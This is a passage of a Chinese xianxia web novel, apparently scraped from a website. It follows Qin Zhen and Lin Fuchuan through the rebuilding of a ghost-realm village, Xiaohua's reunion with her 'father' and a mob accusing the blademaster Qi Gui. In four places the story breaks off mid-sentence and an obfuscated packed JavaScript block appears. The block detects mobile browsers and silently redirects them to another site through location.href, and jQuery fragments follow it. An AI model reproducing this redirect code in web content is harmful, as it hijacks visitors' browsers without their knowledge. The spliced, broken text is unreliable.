“诶,陈师兄方才给我们算得可准了!”孤鸿院的小弟子说道。 陈师兄哈哈大笑:“我确实学艺不精,只能算些小卦数,来来来,我接着给你们算。” 陈师兄回身拉过那几个孤鸿院的小弟子,几人又一团闹去了。 “秦师妹,别在意。” 易师姐说:“他给我和段师姐华师兄算的也都是大凶,不准的,他卜数课才刚刚及格,就是跟小弟子们算来玩玩。” “可惜我也学得不好。”易师姐小声道:“不然我也来算。” 秦蓁眼睛弯弯,她倒不在意,只觉有些可惜,她挺好奇卜算之术的。 林赴川这时也道:“陈兄给我算的也是大凶。” 易师姐接话:“估计他算金丹期的人都是大凶,我都怕他回去了给考核的李长老也算个大凶出来。” 三人莞尔。 很快段师姐几人也来了院中,关心一番秦蓁伤势,见她如今确实无碍,终于放心,商量着待秦蓁身体养好些,他们就画传送阵回宗门。 他们接的历练任务还有些没着落,但这片村子都没天雷劈毁,也没处去做任务了。 许多需探查的事或许也跟那些已下地府的恶人有关,只是真相和细节也都被埋没在这废墟中了。 不过那些恶人已死,也算了却。 众人在帮村民们重建村庄,有心将百幽境真正颠覆,如鬼市那般,成个安乐之地。 “若这百幽境内都同这安乐村一样就好了,但百幽太大,除了这些村落,还有其它边地,不知是何模样。”易师姐叹道。 林赴川说:“往后有可能照此发展的,虽然还有部分是恶不至死的人,但他们经历这一遭天雷,应该也明悟几分。” 秦蓁笑起来,也说:“对,这便是我们护佑世人的原因。” 宗门弟子自入门便被教导要心怀天下,护佑世人,皆是为追寻正道、为向善。 易师姐也笑:“对!这都是身为修士应当做的,而他们也总会变的,会向我们的愿景转变!” 几人都算初入江湖,正有一番雄心壮志待展,一腔天真意气要疏,每个人都有一双清亮的眼睛。 * 与同门见了面,秦蓁和林赴川从小院出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229690|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起走回客栈。 按段师姐的说法,是那祁诡要求受伤的人们都在客栈休息,伤好了便出去,他说他在客栈布了结界,灵力集中,对恢复伤势有益。 段师姐干巴巴的说着这些话,脸上一点都没放心的神色,但也不敢不从他的话。 秦蓁揣摩,难道祁诡这人也像林赴川一样,在江湖传闻中被说得……不太好听,也是个什么魔头? 她与林赴川回客栈路上,便这么问了一句。 林赴川苦笑:“我若有他那般实力,也根本不会被流言所困了。” 他似乎又有些难言的惭秽,秦蓁却不觉得他如何,笑道:“江湖传闻而已,且我们才出江湖,待日后我们名扬四海了,便会有新的江湖传闻。” 林赴川对上她眼睛一瞬,又移开,唇角却上扬:“是,我们早就说好,要一起名扬四海……” “诶诶!仙君!” 林赴川话还未完,一道清脆的女声打断了他,两人望去,是小花儿从远处跑来。 小花儿笑意盎然,跑到他们面前,说:“仙君!我的小花儿长出花苞了!” 小花儿说,天雷散去后她急急跑到成了废墟的村子,凭着一丝灵草间的感应找到了她的小花儿,她将它从碎石堆和碳灰中挖出来时,它枝条有些枯软。 但她用心照看半月后,它又郁郁葱葱起来,枝叶抽长,这两日甚至开出了花苞,叫她惊喜到落泪。 秦蓁也很惊讶,一月前她看小花儿蹲在那大花盆前,里面的灵草不过刚刚抽枝,连叶子都还很小,如今竟已长出花苞了。 “我听说有仙君会算卦,能不能帮我算算它什么时候开花儿呀?开花儿了我娘亲就要回来了!”小花儿兴奋道。 二人犹豫,对视一眼,看清对方眼中的情绪,明白彼此都在想着:灵草精怪的灵力精纯,同等级不知算不算比修士的修为高一些?若是算的话,陈师兄估计只能卜个大凶出来…… 但见小花儿目光期待,秦蓁还是迟疑的说:“我们有会卜卦的同伴,但你本体是灵草,不一定能卜得准……” “没关系没关系!”小花儿迅速摆手:“花苞结了开花儿就快了,我就是有些着急。” 于是二人领着小花儿回到院中,向陈师兄说明来意,他点点头:“可以试试看。” 他这下直接抛了六次石子,一掐指便直接算出,叫他自己都有些惊喜:“好算!跟孤鸿院弟子们一样,抛三次石子就够了。” 小花儿没听太懂,就听着了一个“好”字,激动问道:“是吉卦吗?” 陈师兄说:“是平卦,艰困自守,方能得利。大抵这月内那灵草便能开花儿,于你来说大抵算是好卦的。” 小花儿两眼放光:“这月便可见到娘亲了!” 她连声道谢,欢呼着跑出小院,定是急急跑回家看她的灵草去了。 林赴川皱眉:“她娘亲……就算转世,凡人也是不会有记忆的。” “真是凡人吗?我们之前见到的村民们,都是些有修为的人。”秦蓁问。 林赴川也不知。 不过陈师兄算出的是个好卦,而这么短时间内一株灵草竟然结了花苞,若她娘亲真的回来,倒也不是不可能。看来那小花儿终于要如愿。 第二日,鬼使传讯,在百幽境挂了告示。 地府界再过三日便开,鬼市又可自由出入了。 这真是一个好消息。 38. 他很好吗? 众人没了任务,只等着重伤的几位同门养伤,有些百无聊赖,现下地府界要开了,他们正好能入鬼市解之前未解完的尘缘梦。 旬鹊被架在了进退两难的位置,鬼市她不想去,怕鬼王,安乐村她也不想多待,怕祁诡。 旬鹊觉得,像她这么倒霉的任务者真是没几个,其他天道任务者哪个不是牛哄哄的,手握剧本金手指那叫一个粗,除了主角外就是任务者最爽了。 结果她呢?开局就进了编制,在女主身边咸鱼了七年,接着到修真界,一进剧情就疯狂崩,女主像那个什么反派吸引体,本该退休的反派们一个个往她身边凑。 这也罢了,她可以安慰自己好歹女主一心向道,她努努力能把剧情拉回来,可这天道也抽疯了,竟然降那么恐怖的天雷来劈女主。 劈她就算了,她飙修为心绪浮动,冲动之下干扰了剧情,挨一下天雷也没什么,但秦蓁帮她挡了两道雷,这天道大抵以为是她“抗旨”,一顿狂劈,结果天雷定位到的却是秦蓁。 她只能说天道的GPS定位器有待优化。 自家女主都劈!没长眼,呸。 旬鹊又在心里把天道翻来覆去骂了八百遍。 这是秦蓁未醒前她每天都要干的事。 看到天雷劈向秦蓁时她条件反射冲了过去后,旬鹊就意识到了,自己是真的很在乎秦蓁,不止因为她是剧本女主。 所以她一定要助秦蓁飞升。 再也不能冲动做剧情外的事了,旬鹊想。 * 鬼王撕下最后一抹罪魂的人皮,甩了甩手上的血水,嗤笑:“你们这制人皮的功夫真是越来越烂了。” 他凝出鬼气,虚空抓住那抹在惨叫的罪魂,慢悠悠道:“你应该知道我要问什么。” 那罪魂痛哭流涕的交代了他们的计划,以及背后是何人掌局,正在说着这次袭击的前情时,突然一震,一道凶残鬼气从罪魂身上迸出,攻向鬼王。 鬼气将至眉心,鬼王抬手拦下,竟被这道鬼气划破手掌。 这一瞬间,耳边骤起男子放肆的大笑声:“连个名字都没有的杂种败犬!还想讨要你族人尸首?” 他眼神瞬间暴戾,杀气四溢,但那道鬼气转瞬即逝,那抹罪魂也在这鬼气出体的一刻消亡。 他摊开手掌,凝视着上面被那道鬼气划破的伤口。 伤口不深,也不过两个指节的大小,对他来说连皮外伤都算不上。 他的鬼气一瞬修复好掌中伤口,但寒意爬上眼底,他清楚自己现在杀意翻涌。 他认出来了,那道鬼气的主人。 鬼王静站一会儿,将那些还未完全消亡的罪魂抓起,一个个扔进面前的业火池,听它们不断发出尖锐刺耳的哀叫声,求他让它们魂飞魄散,让它们消亡。 他于是又把它们一个个捞出来,以鬼气作刀,一刀刀削它们的魂灵,看着它们凝不住形,化作一缕缕掉进业火池里。 耳边尽是撕心裂肺的惨叫,它们不再敢求他什么,只敢放声尖叫。 这让他的心情好了一些。 他抬手召来鬼使,令他们牵十只恶狱犬下到无间狱去。 鬼王勾起唇角:“我的好兄长,在无间狱待了太久,忘了当初是谁给他送行的了。” 鬼使领命离去。 鬼王把那些碎魂丢进业火池,鬼气环身,将他身上的血迹带走。 他拿出秦池玉给他的文书,看着上面那行“一统九州四海,此界皇室世代亡魂皆任您驱使”。 他想起许多年前,秦池玉千里迢迢自夏国赶来百幽境,一个不过十几岁的凡人少年,竟敢搏命下到地府界,赌自己讶于他的胆气愿意见他一面。 当然,他确实赌对了。 那时他的右护法还叹:“秦池玉这人,我原先见他以为不过个白面书生……一介凡夫,未至绝境却有如此动作,野心可真大。” 鬼王将那卷文书一并扔进业火池。 “凡人命薄,我以命赌您赏识,何来亏损?仙家宗门我不认,因他们站得太高,目下不可容尘;魔宫魔域我不屑,因他们卑劣残暴,只会乱我家国。” “地府界、鬼市、百幽境,皆您一人所建所掌,俗子不识您,意欲曲解。” “我斗胆悟您。普天之下,善、恶、无记,三性皆有容处,皆有活法,才是您立业之道。” 十几岁的清秀少年躬身低眉,抬眼却凛凛。 野心可真大。 于是他说:“可。” 如今秦承定身死,夏国顺利被秦池玉收入囊中,又因他前期的铺垫,人人颂他德心仁厚。 虽在凡界大刀阔斧的改革,将权力紧抓他一人手中,但他确实治理有方,让百姓受益,在凡界的名声极好,也算半生磨剑得一日昭天。 只可惜凡人寿数连百年都难跨。 十几年前那血绘的阵法显露,各界皆惊,人人自危,直至今日也无人能解。虽然也太平安稳了这十几年,但往后如何,谁又可知? 怕是至身死前,秦池玉都看不到他自己大业成就的一天。 那太理想,也太艰难,纵他呕血半生,依旧道阻且长。 但秦池玉已坐稳夏国皇位,一定不会甘心止步。 而秦蓁…… 鬼王思绪中断。 良久,他轻笑,以她的性子,若是知道了,怕是会面无表情一剑挥过去。 不过也就出出气,她一定懂他与秦池玉达成交易是所为何。 面冷心热。 他哼笑一声,传鬼使:“告示百幽境,三日后,地府界重开。” 他有些想她了。 * 祁诡得知了地府界将开的消息后,特意来找秦蓁,说她伤未愈前不可进入鬼市。 秦蓁也明白自己的身体还很虚弱,鬼气恐怕会加重她的伤情,也没打算去。 只是养伤的这些日子就要无聊了些,也不知是村中哪位大夫救治的她,她昏睡快一月,醒来竟没多少不适,身上被天雷劈去的皮肉也长好了,她甚至没感觉多痛,应是用了相当好的药。 祁诡这人也是怪得很,看着脾气很不好的样子,但言语间透出的意思却是温和的。 大抵还是气势太强了,所以压迫感重。 “……你被天雷劈之前,还有遇到什么特殊的事吗?我的通讯法宝无法使用了,但之前百幽境不会如此。”祁诡问。 秦蓁摇头:“我也不清楚,在鬼市时我搭档说,因为鬼气重,所以灵力驱动的通讯法宝用不了,可后来我们到了灵兽山,依旧没法用。” 祁诡微愣,眼中闪过一丝诧异:“你……搭档?” 秦蓁不明所以的点点头:“他叫林赴川,是孤鸿院弟子,他的剑意很好。” 祁诡沉默。 秦蓁微微蹙眉:“江湖传闻不可尽信。” 祁诡挑眉:“我只是没想到你们会成搭档。至于江湖传闻……” 他忽地一笑,几尽风流:“尽是些可笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240349|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传言罢了。你可知现今江湖上怎么说我?” 秦蓁不知,她醒后还没去过村外,而百幽境的村民们也都在忙着重建村子,没什么风言风语传过来。 祁诡说道:“现今传到‘魔头祁诡重出江湖,屠尽百幽村’这版了,我估计再过两天就有不怕死的傻子来我面前,要我为百幽境的人偿命了。” 秦蓁:“……” 她瞪着眼,分明是气人的谣传,她却觉得这人说这话有些轻佻。 “别不信啊,是真的。”祁诡见她瞪自己,也看向她,笑道:“两日后。” “两日后必定有人循迹而来。” 秦蓁见他这般肯定,也有些信了,但她还是想不到,为何会有如此歪曲事实的传闻。 祁诡见秦蓁一直垂着眼,问:“不信吗?还是在想什么?” 秦蓁不想纠结这个话题,叹气一声,随口道:“想师父。” 祁诡一静。 他声音轻了一些,问:“你有师父了?我还说你资质不错,想问你要不要与我学刀。” 秦蓁古怪的看着他:“不了。我师父也会使刀,我日后要跟他学的,他也很厉害的。” 祁诡笑一声,将身体往他的房门边一靠,腔调散漫:“我又没说什么,这么维护他?他很好吗?” 秦蓁认真点头:“师父很好,我很喜欢师父。” 祁诡重重咳了几声,还没等他惊讶的问,秦蓁接着说:“还有师姐和师兄,我也很喜欢,我的师门很好。” “师姐说,那里是我新的家。我也觉得是。” 祁诡抬眼看秦蓁,她面上扬着笑,眼神清透坦荡。 是真的很喜欢她的师门吧。 他也扬起笑,摆摆手:“待你日后学成。” 说完他便转身推门,回了他的房间。 秦蓁心下嘀咕,搞不懂这人。 一墙之隔,祁诡关门后便又倚靠在门边,回想她随意一说的喜欢二字,压下猛烈的心跳。 往事杳杳啊…… 祁诡轻笑出声。 他可得看紧点,别叫新人换了旧人。 * 等着地府界重开的这三日,众人更加卖力的帮百幽境的村民们重建村子,日日可见半空有人御剑飞来飞去,他们一起清了几个储物戒出来,专门用来装那些难搬的重物,如此重建速度提升了许多。 旬鹊也去帮忙了。众人中只有秦蓁和林赴川两个无法聚灵的人无所事事,经常一起从安乐村村头逛到村尾。 两人有时探讨剑招,更多时候是在天南地北的谈心,这份闲适待伤好后怕是难得了。 今日两人在村中土道上散步时,正好碰见小花儿,三人聊起灵草该怎么养,但许多小花儿也不清楚。 她开了灵智后就已是在娘亲身边,没有族群,连自己是什么灵草都不清楚,许多灵草精怪的习性和喜好她更不知,只是娘亲怎么养她,她就怎么养那株待开的灵草。 于是小花儿就叭叭说着她娘亲养灵草的法子,秦蓁和林赴川也细细听,毕竟二人对灵草可谓是一窍不通,多了解些总是好的。 小花儿说着说着,突然没了声音,她原本欢欣的神情变得惊诧,眼睛瞪得很大。 秦蓁正要开口问,却见那双灵动的眼睛突然沁出泪水,小花儿像根绷紧的绳骤然一松,肩膀往下跌,脸上也乍开笑意。 她越过两人,微张双臂,朝她前方跑去,如倦鸟归林。 她雀跃喊着:“娘!” 39. 我等今日定要替天行道! 秦蓁与林赴川回头看,不远处有个妇人,粗布麻衣,挽着鬓发,与这安乐村中其他妇人没什么不同。 小花儿跑过去,扑到她怀里。 那妇人一脸诧异,把小花儿推开些距离:“小姑娘你认错人了。” 小花儿愣一下,想到什么,又笑起来:“是我忘了,转世没有记忆,阿娘不认得我才对。” 但她并不觉得如何,笑容很大:“没关系,我跟阿娘说说。” “天雷把村子都劈毁了,我们搬到安乐村来了,不过阿娘来了这里,应该路上也打听到了。” “阿娘别担心,村子都在重建了,小花儿我也养得好好的,阿娘回来了我们可以一起养!” 小花儿拉起妇人的手,想带着她往前走:“阿娘埋在树下的铁盒我也收好了,只是阿娘最喜欢的那件红衣裳放坏了,阿娘离开了百年,我……” “小姑娘,你认错人了。” 妇人没有跟着小花儿走,她抽了手,疑惑道:“你阿娘与禾娘长得这么像吗?” 小花儿也疑惑:“我阿娘就是禾娘呀。” 妇人大吃一惊:“禾娘她……她、她后来嫁了别人吗?”话完妇人露出低落的神情:“也是……我死得早,她改嫁才好……” 小花儿有些摸不着头脑:“我阿娘没有改嫁啊?” 这时秦蓁和林赴川走了过来。两人原本不想打扰母女重聚,便只停在原地,但这会儿见她们似乎起了争执,还是走上前来。 没等他们开口问,那妇人抬头看见了秦蓁,惊恐道:“你不是被我吓到的那只小鬼吗?” 秦蓁怔住,眼前浮现一张疤痕交错的脸。 “你、你是生人!” 妇人喊完这么一句后,哆哆嗦嗦再说不出话来,连面容都有些扭曲。 众人都愣住,林赴川问:“你是亡魂?” 妇人缓了半天,似乎终于把一口气理顺,点点头说:“我得了鬼王准许上来的。” 妇人突然抬起双手上下抚摸一遍自己的脸,摸完松口气,但还是有些不放心的问:“我的易容没失效吧?有没有裂缝什么的冒出来?” 秦蓁于是想起,鬼市的魂灵们都要去买易容丹吃的,她摇摇头,问道:“你是那位刀疤兄?” 妇人点头:“我求了百年,鬼王终于允我上来看一眼……可我不记得我原来的脸了,只记得禾娘,便化成她的样子了。” “你竟是生人。”刀疤兄哆嗦一下,说:“一想到有个生人装作小鬼混在鬼市街上,我魂都要吓飞掉了.....不过我那会儿那个样子肯定也吓到你了,那就扯平了......” 秦蓁有些无言,但她被吓一吓没什么,鬼魂被吓得厉害了,魂魄是真的会飞出他们凝的躯体,接着躯体也溃散的。 于是她只问:“你怎会在阳间?” 刀疤兄说:“我死得不痛快,惦念着禾娘,那陈家村可不是什么好地方。” “禾娘的魂一直没下来,我就求鬼王让我上去看一眼她......昨日我看到告示,说陈家村那些恶人都被鬼使行刑杀了,鬼王也终于允我上来。” “禾娘她应该是魂飞魄散了,底下没她的魂,上头也没有......一定与陈家村的那几个王八蛋脱不了干系!” “但是他们都被鬼使杀了,我......” 刀疤兄止住了话,他顶着禾娘的面貌,眼神茫然:“我这仇也算报了,不知道上来了还能做什么……” “你不是阿娘?” 一直沉默的小花儿终于开口,睁着黑亮的眼睛抬头,面上却没了笑意。 刀疤兄说:“我不是你阿娘,我是鬼魂,禾娘的样子是我吃了鬼市的易容丹......和阳间的丹药不同的,你真的认错人了小姑娘,禾娘没有孩子的。” 小花儿瞪着眼扁嘴吸气,接着猛地转身跑走了。 秦蓁知道,她大抵是去看那株灵草开花了没有,那是她唯一的寄托了。 惊喜后却发现是个误会,倒叫人更失望了。 刀疤兄看着小花儿跑开,有些踌躇,可秦蓁和林赴川也不清楚小花儿阿娘是何人,三人沉默一阵,刀疤兄叹气:“你们认识她吧?要不你们去安慰一下她?我就随处走看看阳间的变化,好歹我也求了百年才能上来。” 秦蓁问:“你……你是被一群土匪砍死的吗?” 刀疤兄似乎没想到秦蓁会问这个,做出被骇到的样子,却点头。 “一起去吧。”秦蓁叹道。 她大抵清楚了,小花儿是灵草化形,刀疤兄死得早,或许根本不知道禾娘养的这株灵草化了形。 这几日和林赴川闲逛,他们也聊到过小花儿,两人都不太认同小花儿这样等一个人,不管她娘亲是不是凡人,她耗着自己百年的时间只做这一件事,还是件渺茫未知的事,都太过蹉跎。 但小花儿是灵草精怪。秦蓁想着师兄说过的话,也明□□怪之类的物种与人不同,它们的生命似乎就是为了让它们能明悟一些事,所以才这般漫长。 刀疤兄不明所以,但他确实没什么好去处,他就这一日时间,便也答应跟着去了。 三人走到小花儿的屋舍前,她果然蹲在门口,不同的是她面前的灵草栽在一个普通的坛子里,不是原来那个有锅口大的花盆了。 坛子里的灵草长叶青翠欲滴,已长到小花儿的膝弯处,枝叶抽了许多,最长的几根还爬出了坛子外,垂在地上。 那顶上的白色花苞,还没有开花。 三人走来,小花儿也起身,她面上又有了点笑意,说:“还好,还没开花儿。我阿娘到时候才会来,是我太急了。” 秦蓁直接说道:“刀疤兄当年是被一群土匪砍死。那时你应当仅有灵智,他不认得你的。” “原来你是爹爹。”小花儿眼睛一亮,说。 刀疤兄又被吓了一跳:“瞎说!禾娘身子不好,我跟禾娘没要孩子的。” 小花儿叉腰:“我是阿娘养的那株灵草呀!爹爹!” 刀疤兄怔愣:“你是......那株灵草?灵草化形?” 小花儿点点头。 刀疤兄有些难以置信:“我死了不过百年,灵草竟然百年便能化形吗?” “我也不知,我开了灵智后就一直在阿娘身边了,没见过族人。但我化形了呀,应该能的吧?这很稀奇吗?”小花儿微微歪头。 刀疤兄艰难点点头:“灵草化形一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245778|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般得千年,像那些百年雪莲千年灵芝,都是没有开灵智才能做药材的。开灵智倒不难,有些灵草刚出芽就已开灵智,只是开化的程度不一样。” 刀疤兄说,百年前他是陈家村的人,祖辈已自省许多年,他自小被闭户教导,性子却被教得太过刚直了。 他筑基离开百幽后,去了凡人界,遇到禾娘,她不在意他是百幽境出来的人,与他回了陈家村。 二人回陈家村只是为了见家中长辈,补齐仪式,反正刀疤兄已经筑基,百幽来去自如,禾娘是凡人,百幽的禁制结界与她无关,他们欢欢喜喜大婚。 但陈家村的恶人掳走刀疤兄家中人,又以他家人性命要挟,逼他留在百幽。他气急,怒骂他们卑鄙无耻,分明他从未招惹他们,无怨无仇,那些人只是单纯妒忌。 他忧心家人性命,又恐他们伤了禾娘,便应下,留在陈家村中生活。 禾娘也被这些不讲理的恶人吓到,但她却一直鼓励他,要他坚守善意,莫因这些恶人的挑衅也生出以暴制暴的念头。 但他们能守住为善的底线,那些恶人却因惯于作恶,草芥人命。他们在陈家村生活了几年,某天醒来,看见床边吊着一排排脑袋,是刀疤兄的家人。 他大怒,立刻找上门去,但双拳难敌四手,恶人肮脏的法子也远比一般人多,他们抽了他的灵力,却放了他回去,往后隔几月便去他家中,也不做什么杀人放火的事,就只是往他脸上划一刀,他从开始的怒起反抗,到后来的消沉接受,只求他们不要对禾娘动手。 他以为他能忍耐,直到十几年如一日被他们这般戏谑,终于明白这是那些恶人动摇摧毁他内心的法子,以一种恶趣味的、漫长的、不杀人却钝刀子割肉的法子,一点一点的渗入改变他。 直到最后他们装成村外的土匪,一拥而入他家中,要将他乱刀砍死,他都只是急急把禾娘护出村外,然后蜷缩在土道上没了气息。他并未奋起反抗。 后来如何他就不知道了,他下了地府,却没想到鬼市这般养人,他的活气被养了一点回来,怨气渐消,他在地府界挂念着禾娘,想等着她的魂下来,他们一起在鬼市生活。 禾娘是凡人,最长不过百年寿命,他不用等多久,他反而希望能等久一些,这表明禾娘是好好活了一生的。可陈家村那些人太过恶劣,百幽境对禾娘来说也不是什么好地方,他实在放心不下,便一直求着鬼王让他上去看一眼禾娘。 今日他终于回了阳间,却发现禾娘魂飞魄散,而那些恶人皆死,他的仇也没处去报了。 这下连小花儿也沉默起来。她那时虽开了灵智,却懵懵懂懂,也仅仅是株栽在盆里随人摆放的灵草。 “我......我有些东西想给爹爹,是阿娘从前埋在门前桂树下的。” 小花儿压着眉毛,嘴角也落了下来。 秦蓁和林赴川便告别他们,关于禾娘,他们一定还有许多思念要讲,那株将要开花儿的灵草,这下成了两个人的寄托。 二人一路叹息,回到安乐村的客栈,刚要踏进门时,听见一声男子的大喝。 “祁诡!你杀百幽境成百上千人!屠遍百幽境内的村子!罪大恶极!罪孽深重!我等今日定要替天行道!” 40. 替天行道也对 “你既已退隐,为何又突然出来为祸世间!这百幽境的村民修为低微,你竟然都能下得去手!” “实在太过分!好歹也是江湖上有名的刀客!你如此草芥人命,可对得起你手中的刀!对得起你师门教诲!对得起你的道心!” 秦蓁与林赴川匆匆踏进客栈,看见一众身穿各形道袍的男子,为首几人一脸沉痛,语气也似哀其不幸怒其不争那般,手指着前方在客桌前的祁诡,骂得脸红脖子粗。 祁诡倒是气定神闲,还在慢悠悠品茶,看见两人杵在门口,抬手招呼:“来,喝茶。” 一瞬间,客栈内所有的目光都集中在门口的秦蓁和林赴川身上。 秦蓁微微蹙眉。 静了片刻后,一人又惊又怒道:“原来你的同伙竟是林赴川!” “你二人难道是想重建魔域吗!” “好啊!竟想复活魔尊!我就说当年你不杀魔尊定是有所企图!你这是狂妄到想做天下之主吗!” 群情激奋,秦蓁瞠目结舌,怎么三言两语就扯成了这样,分明上句下句根本没多少联系。 “诸位误会了,他未伤人,是救了我们。”秦蓁听不下去,开口解释道。 那为首的其中一人斜眼看来:“哦?你是何人?看你与他们都相识,自是偏袒。可知有句话叫近朱者赤近墨者黑?” 秦蓁也瞥去一眼,说:“自然,我还知有句话叫空口无凭,污人清白。” “嚯!你何门何派?胆敢在我天玄宗面前叫嚣!”他身旁一人怒起接话,报出宗门压人。 秦蓁有些领会到了这些人的信口雌黄。 但她初入江湖,并不知天玄宗是什么厉害门派,又想到师姐曾说够格在剑下过两招才叫有来头,便一本正经的回答:“道源宫坐忘峰弟子,秦蓁。” “道源宫的人……” 她这话一出,众人窃窃私语起来。 秦蓁自小就很有些烦这类人,抬脚就要往前走。 “道源宫又如何?她是坐忘峰的!那柳清沂和许翊之难道是什么好东西?那苏什么来着的更是整日闭关,搞得跟隐姓埋名似的,头都不敢冒!定是个同样……” 秦蓁停下脚步,提着“不悔”一剑挥向说这话的人。 她没法聚灵,但她的剑意和剑尖依旧锋利,直刺过去,在那人眉心前停住。 “不可辱我师门。” 她睁着锐气的眼,语气还算平淡,可态度不容反驳。 “好大的威风!小姑娘性子很烈嘛!看你这般年纪,怕是还不知何为污你何为辱你!” 众人没想到她说出剑就出剑,登时许多难听的话骂了出来,只是这一片骂声里却没人提剑动手,倒叫秦蓁觉得古怪。 但很快这些话上升到了极其侮辱极其恶心的地步,秦蓁狠狠皱眉,正要挥剑,林赴川却先行刺出一剑。 他这一剑并未停在谁的眉心,而是直直刺穿那口中还在说着荤话辱人的男子的下身。 尖利的惨叫瞬起,骂声一片,林赴川握剑的手一翻,震了震剑上的血。 “根治你肮脏的念头。” 林赴川神色很冷,眼中怒火中烧。 所幸他这半月请了村中铁匠,铸了把剑应急用着,否则若他仍是拿着秦蓁的小木剑,倒还恐这一剑刺出,脏了她的剑。 “行了,都滚。扰我清静。” 随着祁诡这句话出口,强横的刀气冲出,那些人瞬间被这刀气划破胸口,余力逼得他们倒飞出了客栈,重重落在土道上。 在哀叫声响起的前一刹,祁诡又开口:“禁声。” 那些人顿时像被掐住了脖子,脸涨得通红,却一个音节都未发出,他们狼狈爬起,几个人搀着那下身被刺穿的男子,飞快的离开了。 祁诡施了个清洁术,将客栈大堂上上下下清了一遍。 他的面色也很冷,见秦蓁看过来,敛了气势,重复他之前说的话:“来,喝茶。” 秦蓁与林赴川一起走过去,林赴川先开了口:“前辈,那些人对您的谣传实在太过分,为何放任不管?” 祁诡倒茶,递过去,林赴川接过,便听他说:“管不动,哪怕来一批人杀一批人,也杀不完。” “他们为何要如此……”秦蓁也接过他递来的茶水。 “我说两日内会来人,没骗你。”祁诡说。 秦蓁叹气:“我原先没想到他们竟这般过分。” “你们是不是在想,这江湖传闻,怎么能把救命恩人传成仇人?”祁诡笑道。 二人沉默一阵,林赴川说:“树大招风。” 祁诡眉骨上扬:“你既明白,为何依旧心有疑虑?” 林赴川眼睫微颤,垂眸望着手中茶水。 客栈的茶并不算太好,茶色橙红,茶汤却略有浑浊,入口也挂喉。 只是在这一方小客栈,大抵是最好的茶了。 他回答:“我……难守静笃。” “你只是不知你为何要守你的道。”祁诡说。 林赴川抿唇:“自小家中教导、师长宗门教诲,我亦认可,有我之侠道。” 祁诡摇头笑道:“少年人。” 他不再说什么,却听秦蓁突然说:“那就不守。” 林赴川抬眼望她,眼中惊讶。 秦蓁说:“受影响又如何?每个人走出来的路是不一样的,哪怕同一个人,现在和从前也不一样。我们总会因为一些人和事改变。” “所以一切都没有定局。” 她想起洞天兽说,林赴川到渡劫期会入魔不是传闻,是命定。 大抵那些江湖传闻也是这么说的,林赴川站上权威的凝魂阵,判定了他的死刑,他必须完美无缺,否则就是待斩。 然而纵使他一直以来严于律己,流言蜚语却从未停过。 可受影响又如何?叫人在无数恶言中仍不计较分毫,未免太过分! 秦蓁眼底带了些冷意,有些明白了为何当初师姐说,担心她脾气太好,不懂以武服人。 “有些时候,还是以武服人比较好。”她下结论。 林赴川绽开笑,是难得的柔和笑意,有些松懈,只应一字:“恩。” 祁诡晃了晃手中杯盏,断开二人的对视,问秦蓁:“你师父教的?” 秦蓁一愣:“不是,是师姐教的。” 祁诡眼中流光细碎:“有理。” 秦蓁想起,这人实力这般强劲,为何还被人追到面前骂? 看他也不像脾气多好的样子,真不怕…… “只是有些人确实不怕死。” 祁诡说:“你们看,方才那一批人,最高不过合道期,连个飞升期的都没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252880|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也敢来我面前乱吠,除了因为我懒得出手,还有就是他们自觉正义,是替天行道。” “我原先不管他们,不过是觉得可以磨砺道心,但听多了总是烦的。” “知道我可能下一秒就会杀了他们,所以要不留余地治我的罪先,这样死后自有人传颂他们的高节。” “众矢之的,便会循环上述。” 祁诡不甚在意的说:“所以无需在意,实力是根本。非得成谦谦君子才能得这些人尊敬,性子不好不事事向着他们,总会交恶。” 秦蓁不认同的皱眉,却没说什么,林赴川听了这话,却是有所思量。 “不过若说替天行道,倒也没错。” 祁诡将手中杯盏一转,挑起他那双不羁的眼,说道:“毕竟这天恨我得很嘛。” 